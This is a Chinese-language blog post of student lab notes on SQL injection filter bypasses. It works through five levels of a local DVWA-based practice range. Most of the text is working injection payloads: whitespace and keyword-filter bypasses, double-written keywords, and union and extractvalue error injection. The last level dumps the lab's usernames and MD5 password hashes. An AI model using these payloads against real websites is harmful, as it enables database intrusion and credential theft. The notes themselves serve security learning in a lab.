sql-bypass通关笔记(作业)

靶场环境的搭建:

  • 首先安装dvwa靶场;因为要用到dvwa的数据库
  • 然后将该靶场放到phpstudy的www目录下
  • 创建一个网站指向该文件夹
  • 通过访问文件夹中php文件的形式进行闯关
  • 具体压缩包我放到最后的资料里了

index1.php通关笔记

知识点:

  • 空格过滤  #过滤

首先判断注入类型

构造payload:id=1/0

有回显,没报错,说明是字符型注入

判断绕过手段

构造payload:id=1'和payload:1''

发现回显有差别;说明是单引号读取输入,是否有括号还不清楚

尝试利用万能密码测试

构造payload:id=1'and+1=1--+

发现出现了提示,说明有过滤,但是不知道是什么过滤

通过单个符号和关键字的输入测试出对空格进行了过滤;采用%09代替空格

构造payload:id=1'and%091=1--%09

成功回显出了有效内容,由于错误没有任何回显信息,所以这里不能用错误注入

尝试进行联合注入,首先判断字段数

构造payload:id=1'order%09by%098--%09

构造payload:id=1'order%09by%099--%09

发现页面回显出现了变化,说明字段数为8

进行联合注入

构造payload:id=0'union%09select%091,2,3,4,5,6,7,8%09--%09

输入内容成功回显到了页面上,4和5的位置

好了,可以利用联合注入获取数据库信息了

构造payload:id=0'union%09select%091,2,3,database(),version(),6,7,8%09--%09

好了,到这里就收工了;想要获取其他信息可以自己尝试,之前做过很多遍了,这里就不往下演示了

index2.php通关笔记

知识点:

  • and or 关键字过滤
  • || &&进行代替
  • like 函数名 == and效果

通过不断的测试发现这里是and or 关键字过滤

前面的步骤就不再演示了,直接出绕过的payload

构造payload:id=0%27union%20select%201,2,3,4,5,6,7,8--+

页面成功回显出了输入的信息

利用联合注入来获取数据库关键信息

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8--+

成功获取了数据库民和版本信息

index3.php通关笔记

知识点:

  • = 过滤
  • 利用 > < like in 等代替
  • 这里不要用and,用or进行判断;and这里有问题,具体不知道怎么回事,判断条件会失效

通过测试发现是=过滤;尝试用其他符号代替

构造payload:id= 0'or 1 in (1) --+

构造payload:id= 0'or 3>1 --+

构造payload:id= 0'or 1 like 1 --+

成功获取到了回显内容;

测试发现只有=被过滤了,可以使用联合注入

构造payload:id=0%27%20union%20select%201,2,3,4,5,6,7,8%20--+

页面成功回显

获取数据库信息

构造payload:id=0%27%20union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取到了数据库名和版本信息

index4.php通关笔记

知识点:

  • and or 关键字过滤;%26%26 || 代替
  • 错误注入
  • 联合注入

通过测试发现这里有完整的错误回显,并且对and or关键字进行了过滤;好了使用&& || 进行代替就好了,不过这里不能直接用&&,需要进行url编码 %26%26

利用错误注入获取数据库名

构造payload:id=1%27%26%26%20extractvalue(1,concat(0x7e,database(),0x7e))=1%20--+

成功获取了数据库名

利用联合注入来获取数据库名

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

index5.php通关笔记

知识点:

  • and or 过滤
    • || &&绕过
      • 使用&&时需要进行url编码 --> %26%26
    • 双写绕过 
      • 针对 information -->infoorrmation
      • password  ---> passwoorrd
  • = in 过滤
    • like 绕过
  • select 过滤  只过滤select+空格
    • 这里可以利用 select%09绕过
  • union 过滤
    • 这里可以利用双写绕过
  • from 过滤
    • 这里可以使用双写绕过
  • database 关键字过滤
    • 可以利用schema()代替获取数据库名
  • user 关键字过滤
    • 使用双写绕过
    • users --->ususerers
  • 可以利用联合注入;也可以利用错误注入
    • 联合注入payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+
    • 错误注入payload:id=0%27||extractvalue(1,concat(0x7e,schema(),0x7e))%20like%201--+
  • 这里使用联合注入演示完整过程;错误注入一样的,联合注入更方便
  • 最后需要对拼接到一起的字段名进行hex编码输出;不编码的话会报错
    • Illegal mix of collations for operation 'UNION'
    • 出现该错误原因在于information_schema数据库中的信息和dvwa数据库使用的编码格式不同;所以使用十六进制进行输出保险
  • 这一关含金量太高了,花的时间太多了,不过不断的进行测试然后找到绕过方法的过程很爽

通过不断的测试知道了这关的过滤条件;下面利用联合注入进行演示

构造payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

获取数据库的表名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09%20hex(group_concat(table_name))%09frfromom%09infoorrmation_schema.tables%09where%09table_schema%20like%20%27dvwa%27%20),version(),6,7,8%20--+

得到了hex输出:6775657374626F6F6B2C7573657273

解码后为:guestbook,users

得到了两个表名;发现了重要的用户信息

接下来获取users表中的字段名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(column_name)))%09frfromom%09infoorrmation_schema.columns%09where%09table_schema%20like%20%27dvwa%27%09%26%26%09table_name%20like%20%27ususerers%27%20%20),version(),6,7,8%20--+

得到了hex编码的字符串:757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E

进行解码获取到了所有字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

下面可以获取用户名和密码信息

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(ususerer,%27:%27,passwoorrd)))%09frfromom%09dvwa.ususerers%20),version(),6,7,8%20--+

成功获取了用户名和密码信息的hex编码

显示的hex编码为:61646D696E3A38363333663362393932663565646161346461656133373938323636653437372C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939

解码之后出现了具体数据

admin:8633f3b992f5edaa4daea3798266e477,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99

这样就获取到了用户名和密码信息

终于搞完了,收工

10

相关推荐

  1. 数据库第三章作业-SQL语言

    2024-03-20 11:18:04       30 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-20 11:18:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-20 11:18:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-20 11:18:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-20 11:18:04       20 阅读

热门阅读

  1. 部署dagu_1.12.10+replicadb0.15.1+sqlline1.12

    2024-03-20 11:18:04       19 阅读
  2. accessToken

    2024-03-20 11:18:04       16 阅读
  3. 理解C#和.NET的应用模型

    2024-03-20 11:18:04       22 阅读
  4. 拌合楼管理系统(七) 海康威视摄像头视频预览

    2024-03-20 11:18:04       19 阅读
  5. vue将中国标准时间转成年月日

    2024-03-20 11:18:04       16 阅读
  6. vue组件

    vue组件

    2024-03-20 11:18:04      18 阅读
  7. vue3 使用element-plus 如何再次封装table组件

    2024-03-20 11:18:04       19 阅读
  8. React——组件通讯

    2024-03-20 11:18:04       19 阅读
  9. Golang 开发实战day05 - Loops(1)

    2024-03-20 11:18:04       21 阅读